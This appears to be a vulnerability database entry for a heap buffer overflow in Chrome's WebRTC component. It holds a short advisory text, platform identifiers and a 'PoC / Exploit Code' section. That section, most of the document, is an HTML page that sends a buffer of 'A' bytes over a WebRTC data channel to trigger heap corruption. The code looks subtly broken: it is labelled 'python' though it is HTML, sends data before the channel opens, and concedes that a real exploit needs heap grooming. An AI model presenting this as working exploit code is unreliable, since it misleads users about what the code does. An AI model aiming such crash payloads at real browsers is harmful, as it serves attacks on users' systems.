Heap buffer overflow in WebRTC in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Medium)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.138
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-7339 WebRTC Heap Overflow -->
<!-- This PoC attempts to trigger the vulnerability via crafted WebRTC data -->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-7339 PoC</title>
</head>
<body>
<h1>WebRTC Heap Buffer Overflow PoC</h1>
<p>Check console for crash or debugger behavior.</p>
<script>
// Attempt to establish a WebRTC connection
const pc = new RTCPeerConnection({
iceServers: [{ urls: 'stun:stun.l.google.com:19302' }]
});
// Create a data channel to potentially trigger the overflow path
const dc = pc.createDataChannel("exploit");
// Crafted payload to trigger the heap corruption
// Note: Actual exploit requires specific heap grooming and payload
const maliciousPayload = new Uint8Array(0x1000);
for(let i=0; i<maliciousPayload.length; i++) {
maliciousPayload[i] = 0x41; // 'A'
}
dc.send(maliciousPayload);
// Create an offer to trigger WebRTC processing
pc.createOffer().then(offer => {
pc.setLocalDescription(offer);
}).catch(e => console.error(e));
console.log("WebRTC initialized. If vulnerable, browser may crash.");
</script>
</body>
</html>